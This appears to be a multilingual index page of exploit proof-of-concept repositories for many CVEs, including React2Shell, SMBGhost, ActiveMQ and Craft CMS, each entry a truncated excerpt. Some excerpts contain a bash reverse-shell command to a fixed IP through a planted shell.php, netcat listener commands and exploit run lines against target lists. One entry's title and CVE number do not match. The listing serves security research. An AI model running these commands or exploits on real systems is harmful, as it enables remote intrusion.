CVE-2025-55182

CVE-2025-55182 React2Shell Exploit-Kit 🎯 Vollständige funktionierende Exploit-Demonstration Dieses Projekt bietet eine voll funktionsfähige Demonstration von CVE-2025-55182 React2Shell – einer kritischen Sicherheitslücke zur Remote-Codeausführung in React Server Components und Next.js. Status: ✅...

react2shell-lab

React2Shell Schwachstellen-Labor Dies ist eine absichtlich verwundbare Next.js-Anwendung zum Testen von CVE-2025-55182 und CVE-2025-66478 React-Server-Komponenten RCE. ⚠️ WARNUNG : Diese Anwendung ist absichtlich verwundbar. Nur in isolierten Laborumgebungen verwenden. Details zur Schwachstelle...

React2Shell-POC

Questa Proof of Concept PoC per la vulnerabilità React2Shell CVE-2025-55182 è stata sviluppata esclusivamente a scopo educativo e di ricerca. Ha lo scopo di dimostrare l'esistenza e il potenziale impatto di una specifica vulnerabilità di sicurezza in un ambiente controllato, autorizzato e non di...

CVE-2024-21413-Outlook-Assessment

title: "CVE-2024-21413 Moniker Link: Valutazione dell'esecuzione di codice remoto di Microsoft Outlook" date: 2026-06-28 author: Lindon Mitchell YoguiCR role: Ricercatore di Sicurezza / Analista di Exploit status: Completato classification: Pubblico / Portfolio environment: TryHackMe - Moniker Li...

CVE-2025-24016

CVE-2025-24016 Wie funktioniert diese Erkennungsmethode? Diese Nuclei-HTTP-Vorlage überprüft eine Ziel-URL und deren /app/login-Seite auf die Wazuh-Weboberfläche, extrahiert den wazuhVersion-Wert mit einem regulären Ausdruck und bestätigt, dass die Seite erreichbar ist Status 200 und tatsächlich...

CVE-2019-19369

CVE-2019-19369 - FusionPBX = 4.5.10 Authentifizierte RCE Authentifizierte Angreifer können die PHP-Editor-Funktion in FusionPBX-Versionen = 4.5.10 nutzen, um eine der vorhandenen PHP-Seiten zu bearbeiten und ein PHP-Payload einzufügen. Durch das Aufrufen der geänderten Datei erhalten wir eine She...

CVE-2025-55182_full_exploit

CVE-2025-55182fullexploit Dieses Repository enthält den vollständigen Exploit für CVE-2025-55182 mit RCE Schritt zur Ausführung des Exploits 1. Abhängigkeiten installieren pip install -r requirements.txt 2. Exploit ausführen python3 exploit.py targetlist.txt "command"...

MAL-005

MAL-005: Zip Slip nelle applicazioni Carbon Add in WSO2 ESB È stata identificata una vulnerabilità di directory traversal basata su file ZIP Zip Slip nella funzionalità "Carbon Applications" add di WSO2 ESB. L'esecuzione remota di codice può essere ottenuta scrivendo/sovrascrivendo file specifici...

CVE-2025-57833

CVE-2025-57833: Django SQL-Injection-Schwachstelle Dieses Repository demonstriert und erklärt CVE-2025-57833, eine kritische SQL-Injection-Schwachstelle in Djangos ORM, die die Versionen 4.2 vor 4.2.24, 5.1 vor 5.1.12 und 5.2 vor 5.2.6 betrifft. 🚨 Übersicht über die Schwachstelle CVSS-Wert : 9.8...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip passwor...

CVE-2017-5638

CVE-2017-5638 Indice 1. Panoramica 2. Dipendenze 3. Utilizzo Panoramica Questo progetto è una prova di concetto per la vulnerabilità Apache Struts. L'obiettivo era creare un software in grado di generare e testare IP casuali per la vulnerabilità sopra descritta. Utilizza questo progetto a tuo...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Vulnerabilità Una vulnerabilità di deserializzazione nell'unmarshaller del trasporto OpenWire in Apache ActiveMQ. Le versioni interessate includono dalla 5.18.0 alla 5.18.2, dalla 5.17.0 alla 5.17.5, dalla 5.16.0 alla 5.16.6, e tutte le versioni precedenti alla 5.15.16...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 VMware vSphere Client Nicht autorisierter Datei-Upload zur Remote Code Execution RCE Der vSphere Web Client HTML5 ist im Wesentlichen eine administrative Oberfläche, die die Verwaltung einer vSphere-Installation ermöglicht. Der vSphere Client bietet einem Administrat...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS RCE Pre-Auth Esecuzione di codice remoto pre-autenticazione in Craft CMS Scoperta e sviluppata daMohammed Idrees Banyamer 📌 Panoramica CVE-2025-32432 è una vulnerabilità critica di esecuzione di codice remoto RCE pre-autenticazione che colpisce diverse versioni di Cra...

POC-CVE-2025-55182

CVE-2025-55182 - React RSC RCE PoC für die Deserialisierungsschwachstelle im Flight-Protokoll von React Server Components. Was ist das? Next.js 14+ und React 19 verwenden ein proprietäres Protokoll "Flight" zur Kommunikation zwischen Client und Server. Das Problem: Der Server lädt beliebige Modul...

CVE-2025-49596-PoC

CVE-2026-23744-PoC Automatisierter PoC für CVE-2026-23744 RCE auf MCPJam Inspector vor Version 1.4.2 auf Linux-Zielen Verwendung root@kitploit: Verwende netcat, um einen Listener auf einem beliebigen Port wie 9002 zu starten. nc -nvlp 9002 Verwende die Automatisierung wie folgt python3...

CVE-2025-49132

Impatto Utilizzando il file /locales/locale.json con i parametri di query locale e namespace, un attore malintenzionato è in grado di eseguire codice arbitrario, senza essere autenticato. Con la capacità di eseguire codice arbitrario, questa vulnerabilità può essere sfruttata in un numero infinit...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

su kali linux - terminale 1 nc -lvnp 4444 su kali linux - terminale 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2025-48384-main

PoC für CVE-2025-48384 Dies ist ein PoC. Laden Sie es nicht in einer unsicheren Umgebung herunter. Es ermöglicht dem Hacker, Remote-Code auf Ihrem Rechner auszuführen Siehe CVE-2025-48384 Ausführen: root@kitploit: git clone --recurse-submodules [email protected]:zr0n/CVE-2025-48384-main.git...

CVE-2020-0796-SMBGhost-Exploit-Demo

CVE-2020-0796 Exploit Demo SMBGhost Questo progetto dimostra un proof-of-concept PoC dell'exploit di CVE-2020-0796, noto anche come SMBGhost - una vulnerabilità critica di RCE pre-autenticazione che colpisce i sistemi Windows 10 e Windows Server che utilizzano SMBv3. È stato sviluppato come parte...